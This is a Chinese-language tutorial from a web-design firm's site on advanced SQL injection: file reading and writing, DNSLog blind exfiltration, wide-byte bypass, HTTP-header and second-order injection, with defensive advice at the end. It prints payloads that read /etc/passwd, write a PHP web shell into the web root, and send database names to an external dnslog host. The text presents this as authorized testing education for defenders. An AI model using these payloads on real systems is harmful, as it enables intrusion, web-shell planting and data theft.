SQL注入进阶实战:文件读写、DNSLog盲注与宽字节等隐蔽注入技巧

发布时间:2026/10/17 2:16:15
SQL注入进阶实战:文件读写、DNSLog盲注与宽字节等隐蔽注入技巧 1. 从一次内部演练说起为什么这些注入姿势值得单独拎出来讲很多刚接触安全测试的朋友第一次跑完扫描器看到报告里一堆“疑似SQL注入”就以为万事大吉了。实际情况是扫描器能报出来的往往是最表层的那一类真正在实战或者内部演练里卡住人的恰恰是那些需要手工构造、需要理解数据库行为、需要绕开常规过滤的注入方式。我这次整理的内容就是围绕SQL注入里几个容易被忽略但非常关键的分支读写文件、dnslog盲注、宽字节注入、User-Agent注入、Referer注入、Cookie注入、二次注入。这些名词单看可能都认识但真正到了实操环节很多人会卡在“为什么我构造的payload没反应”“为什么明明有注入点却读不出数据”“为什么加了引号就报错但就是不出内容”这类问题上。这篇内容就是把这些场景拆开讲清楚每一种注入的触发条件、构造逻辑、实操步骤以及我在实际测试中踩过的坑。适合已经了解SQL注入基础原理、想进一步提升手工测试能力的安全从业者也适合正在准备内部演练或CTF类题目的同学。需要提前说明的是以下所有操作均基于授权环境下的内部演练和模拟靶场目的是帮助防守方理解攻击路径从而更好地加固系统。任何未经授权的测试都是不合规的这一点不需要展开但必须放在最前面。2. 读写文件从注入点到文件系统的跳板2.1 为什么读写文件是注入利用的“质变点”普通的SQL注入无论怎么绕最终拿到的还是数据库里的数据。但一旦能通过注入读写文件性质就变了——相当于从“只能看数据库”变成了“能碰服务器文件系统”。这个跳板一旦搭起来后续的利用空间会大很多。读写文件依赖几个前提条件缺一不可。第一数据库用户需要有FILE权限MySQL里可以通过SELECT file_priv FROM mysql.user WHERE user current_user()来确认。第二需要知道目标服务器的绝对路径这个可以通过报错信息、phpinfo页面、日志文件等方式获取。第三secure_file_priv参数不能限制得太死如果它被设为NULL那读写文件基本没戏如果设为某个目录就只能在该目录下操作如果为空则没有路径限制。2.2 读文件load_file的实战细节读文件用的是LOAD_FILE()函数构造起来不复杂SELECT LOAD_FILE(/etc/passwd);但在注入场景里需要结合联合查询或者报错注入来用。比如联合查询 UNION SELECT 1,LOAD_FILE(/etc/passwd),3-- -这里有几个实操中容易忽略的点。第一路径必须是绝对路径相对路径读不到。第二文件必须对数据库用户可读权限不够会返回NULL。第三如果文件太大可能会因为返回长度限制而截断这时候可以用SUBSTRING分段读取。注意在Windows环境下路径分隔符要用双反斜杠或者正斜杠比如C:\\Windows\\win.ini或C:/Windows/win.ini单反斜杠会被转义。2.3 写文件INTO OUTFILE与INTO DUMPFILE的选择写文件比读文件限制更多因为需要目标目录有写权限。常用的是INTO OUTFILE UNION SELECT 1,?php system($_GET[cmd]); ?,3 INTO OUTFILE /var/www/html/shell.php-- -这里的关键是路径必须是一个Web可访问目录否则写进去了也执行不了。另外INTO OUTFILE不能覆盖已存在的文件如果目标文件已经存在会直接报错。这时候可以考虑换文件名或者用INTO DUMPFILE后者适合写二进制文件但同样不能覆盖。还有一个细节如果注入点所在的SQL语句本身有LIMIT限制INTO OUTFILE需要放在LIMIT之前否则语法会出错。这个在联合查询里尤其要注意。2.4 读写文件的常见失败原因排查现象可能原因排查方法LOAD_FILE返回NULL文件不存在或权限不足换已知存在的文件测试如/etc/hostnameINTO OUTFILE报错目录无写权限或文件已存在换/tmp目录测试或更换文件名写入成功但访问404路径不在Web根目录通过报错或phpinfo确认Web根路径secure_file_priv限制参数被设为NULL或特定目录用SHOW VARIABLES LIKE secure_file_priv确认我个人的经验是读文件成功率远高于写文件因为写文件对权限和路径的要求更苛刻。在内部演练里如果写文件一直失败不要死磕先确认secure_file_priv的值很多时候问题就出在这里。3. dnslog盲注没有回显时的数据外带通道3.1 盲注的困境与dnslog的破局思路盲注最让人头疼的地方就是没有回显。布尔盲注要一位一位猜时间盲注要等延迟效率都很低。dnslog盲注的思路是既然页面不回显那我让数据库主动向外发起一个DNS请求请求里带上我要外带的数据我在DNS日志平台上看结果就行了。这个方法的精妙之处在于它不依赖页面回显也不依赖时间延迟只要数据库能发起DNS解析就能把数据带出来。MySQL里可以通过LOAD_FILE()配合UNC路径来触发DNS请求SELECT LOAD_FILE(CONCAT(\\\\, (SELECT database()), .xxxx.dnslog.cn\\abc));在Windows环境下LOAD_FILE访问UNC路径时会触发DNS解析数据库名就被拼接到域名里带出去了。3.2 构造dnslog注入的完整流程第一步先确认目标数据库是否支持LOAD_FILE并且能触发DNS请求。可以先用一个简单的payload测试 AND LOAD_FILE(CONCAT(\\\\, test, .xxxx.dnslog.cn\\abc))-- -如果dnslog平台收到了test.xxxx.dnslog.cn的解析记录说明通道是通的。第二步把要外带的数据拼接到域名里。注意域名只能包含字母、数字和连字符所以如果数据里有特殊字符需要先做编码或者用HEX()转换 AND LOAD_FILE(CONCAT(\\\\, (SELECT HEX(database())), .xxxx.dnslog.cn\\abc))-- -第三步在dnslog平台上查看解析记录把HEX值还原成原始数据。3.3 dnslog盲注的局限与替代方案dnslog盲注最大的局限是依赖Windows环境Linux下LOAD_FILE不会触发DNS解析。另外如果目标网络做了DNS出站限制或者数据库用户没有FILE权限这条路也走不通。在Linux环境下可以考虑用UNC路径的替代方案比如通过SELECT ... INTO OUTFILE写入Web目录再访问或者用时间盲注配合条件判断。还有一种思路是利用数据库的扩展功能比如MySQL的sys_exec需要UDF提权但这已经超出注入本身的范围了。实操心得dnslog平台的选择上建议用自己搭建的或者可信的公共平台避免数据外带过程中被第三方截获。另外域名前缀不要太长有些DNS解析对长度有限制。4. 宽字节注入字符集转换带来的绕过机会4.1 宽字节注入的原理一个反斜杠引发的“吞并”宽字节注入的核心在于字符集转换。当数据库使用GBK等多字节字符集时一个反斜杠%5c转义符可能会被前面的一个字节“吞并”形成一个合法的多字节字符从而让后面的引号逃逸出来。举个例子假设代码用addslashes()把单引号转义成了\在GBK编码下%df%5c会被解析成一个汉字而%5c原本是用来转义单引号的现在被吞掉了单引号就自由了。构造出来的payload就是%df UNION SELECT 1,2,3-- -这里的%df和%5c组合成了一个新的字符后面的单引号不再被转义。4.2 宽字节注入的实操步骤与注意事项第一步确认目标数据库的字符集。可以通过报错信息或者页面编码判断如果是GBK、GB2312、GB18030等就有宽字节注入的可能。第二步构造payload。关键是在引号前面加一个%df或者其他高位字节让转义符被吞掉%df AND 11-- - %df AND 12-- -如果第一个返回正常第二个返回异常说明注入存在。第三步后续的利用和普通注入一样联合查询、报错注入都可以。这里有个坑不是所有高位字节都能触发宽字节注入%df是最常用的但具体要看字符集的映射关系。另外如果代码用的是mysql_real_escape_string()而不是addslashes()宽字节注入的成功率会低很多因为前者会考虑字符集。4.3 宽字节注入的防御视角从防守角度看宽字节注入的根源是字符集不一致。数据库用GBK而PHP层用UTF-8转义函数按UTF-8处理到了数据库按GBK解析就出问题了。解决办法是统一字符集或者在连接数据库时显式设置SET NAMES utf8让转义函数和数据库的字符集保持一致。5. User-Agent、Referer、Cookie注入被忽视的HTTP头注入点5.1 为什么HTTP头也会成为注入入口很多人在测试注入时只盯着URL参数和POST表单忽略了HTTP头。实际上如果后端代码把User-Agent、Referer、Cookie这些头的值直接拼接到SQL语句里同样存在注入。这类注入点往往更隐蔽因为扫描器不一定能覆盖到而且有些WAF对HTTP头的检测不如对URL参数严格。5.2 User-Agent注入的构造与实操User-Agent注入的构造很简单把payload放在User-Agent头里就行User-Agent: AND 11-- -如果页面返回正常换成AND 12返回异常说明注入存在。后续可以用联合查询或者报错注入来利用。实操中需要注意的是有些服务器会对User-Agent做长度限制payload太长可能被截断。另外如果后端用的是$_SERVER[HTTP_USER_AGENT]直接拼接注入概率很高如果用了预处理语句那就没戏。5.3 Referer注入与Cookie注入的差异Referer注入和User-Agent注入类似只是注入点换到了Referer头。Cookie注入稍微特殊一点因为Cookie的值通常会被URL编码构造payload时需要注意编码问题Cookie: id1 AND 11-- -如果Cookie的值经过了URL编码需要先解码再注入或者直接构造编码后的payload。这三种注入的利用方式和普通注入没有本质区别关键在于找到注入点。我个人的经验是在测试时可以把所有HTTP头都过一遍尤其是那些看起来会被记录到数据库里的头比如User-Agent和Referer很多日志记录功能都会把它们存进数据库。5.4 HTTP头注入的排查技巧注入点测试方法常见问题User-Agent替换为 AND 11-- -长度限制、WAF拦截Referer替换为 AND 11-- -部分服务器不记录RefererCookie替换为 AND 11-- -URL编码、HttpOnly限制X-Forwarded-For替换为 AND 11-- -需要后端有IP记录功能注意测试HTTP头注入时建议先用AND 11和AND 12做布尔判断不要一上来就用联合查询避免payload过长被截断。6. 二次注入数据“存进去”再“取出来”时的爆发6.1 二次注入的独特之处存储与触发的分离二次注入和普通注入最大的区别在于注入payload不是立即触发而是先被存储到数据库里然后在后续的某个查询中被触发。这种分离让二次注入非常隐蔽因为第一次插入时可能做了转义看起来没问题但数据存进数据库后转义符被还原第二次查询时就直接拼接了。举个例子注册用户时用户名填admin-- -插入时被转义成admin\-- -存进数据库后变成admin-- -。后续修改密码时代码从数据库取出用户名拼接到SQL里就变成了UPDATE users SET passwordnewpass WHERE usernameadmin-- -结果就是admin的密码被改了。6.2 二次注入的实操挖掘思路二次注入的挖掘需要关注“数据流”哪些地方会写入数据库哪些地方会从数据库读取并再次拼接。常见的场景包括用户注册、密码修改、评论发布、订单提交等。实操步骤上第一步是找到写入点比如注册页面在用户名或邮箱里插入payload。第二步是找到触发点比如修改密码、查看订单等会用到刚才写入数据的功能。第三步是观察触发效果比如是否成功越权、是否报错、是否数据被篡改。这里有个技巧在插入payload时可以用一些不会立即报错的字符比如、-- -、#先存进去然后在触发点观察反应。如果触发点报错说明payload被拼接了如果触发点行为异常说明注入生效了。6.3 二次注入的防御难点与加固建议二次注入难防的原因在于开发人员往往认为“数据已经转义过了存进数据库就安全了”忽略了数据取出后再次拼接的风险。加固的核心原则是永远不要信任从数据库取出的数据所有拼接SQL的地方都要用预处理语句而不是依赖入库时的转义。另外可以在数据取出后做一次校验比如用户名只允许字母数字发现异常字符就拒绝处理。但这只是辅助手段根本还是预处理。7. 常见问题与排查技巧实录7.1 注入点存在但读不出数据怎么办这是最常见的问题。首先确认注入类型如果是联合查询检查字段数对不对用ORDER BY逐步试如果是报错注入确认数据库版本和报错函数是否匹配如果是盲注确认布尔条件或时间延迟是否生效。如果都确认了还是读不出数据可能是权限问题。比如当前数据库用户没有SELECT权限或者只能访问特定表。这时候可以尝试读information_schema看看能访问哪些库和表。7.2 宽字节注入不生效的排查宽字节注入不生效通常有几个原因。第一数据库字符集不是GBK可能是UTF-8那宽字节注入就不适用。第二转义函数用的是mysql_real_escape_string()而不是addslashes()前者会考虑字符集宽字节注入成功率低。第三%df这个字节被过滤了可以尝试其他高位字节比如%bf、%a1等。7.3 dnslog平台收不到请求的排查dnslog收不到请求先确认LOAD_FILE是否可用可以用SELECT LOAD_FILE(/etc/hostname)测试。如果LOAD_FILE可用但dnslog没反应可能是目标网络限制了DNS出站或者UNC路径格式不对。Windows下UNC路径是\\host\share在SQL里需要写成\\\\host\\share。7.4 二次注入触发点找不到的排查二次注入的触发点往往比较隐蔽可以关注这些功能修改密码、修改邮箱、查看个人资料、下单、评论回复。另外可以观察哪些功能会用到之前写入的数据比如注册时的用户名在登录后被显示在页面上那这个显示点可能就是触发点。问题类型排查方向快速验证方法联合查询无回显字段数、回显位用UNION SELECT 1,2,3逐步试报错注入无报错报错函数、版本换updatexml或extractvalue盲注无延迟时间函数、权限用SLEEP(5)测试文件读写失败权限、路径、secure_file_priv读已知文件测试dnslog无请求网络、LOAD_FILE权限先用简单域名测试7.5 实操中的几个避坑经验第一测试注入时一定要先备份或者确认环境可恢复尤其是在写文件或者修改数据之前。第二payload尽量简洁太长的payload容易被WAF拦截或者被截断。第三注意编码问题URL编码、HEX编码、Unicode编码在不同场景下效果不同。第四时间盲注的延迟时间不要设太长1到2秒足够太长会影响测试效率。第五二次注入的payload要选择不会破坏数据完整性的避免影响后续测试。8. 从攻击视角回到防守这些注入姿势给我们的启示把上面这些注入方式过一遍会发现一个共同点它们之所以能生效往往不是因为数据库本身有漏洞而是因为代码在拼接SQL时没有做好隔离。读写文件依赖的是数据库的文件权限过大dnslog盲注依赖的是数据库能发起外部请求宽字节注入依赖的是字符集不一致HTTP头注入依赖的是对输入来源的信任二次注入依赖的是对存储数据的二次信任。从防守角度对应的加固措施其实很明确最小权限原则数据库用户不要给FILE权限统一字符集避免宽字节问题所有拼接SQL的地方用预处理语句对HTTP头也要做校验和过滤从数据库取出的数据同样不能直接拼接。这些措施不新鲜但真正落地到位的不多。我在内部演练中最大的体会是很多注入点不是技术有多难而是开发人员根本没意识到那个地方会被注入。比如User-Agent注入很多人觉得“用户代理头谁会去改”但攻击者恰恰会改。安全测试的价值就在于把这些被忽视的角落翻出来让防守方看到完整的攻击面。最后分享一个小技巧在测试注入时可以准备一个“注入点清单”把URL参数、POST字段、HTTP头、Cookie、甚至JSON body都列进去逐个过一遍。这样不容易漏也方便记录哪些点有效、哪些点无效。时间长了这份清单就是你自己的经验库。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询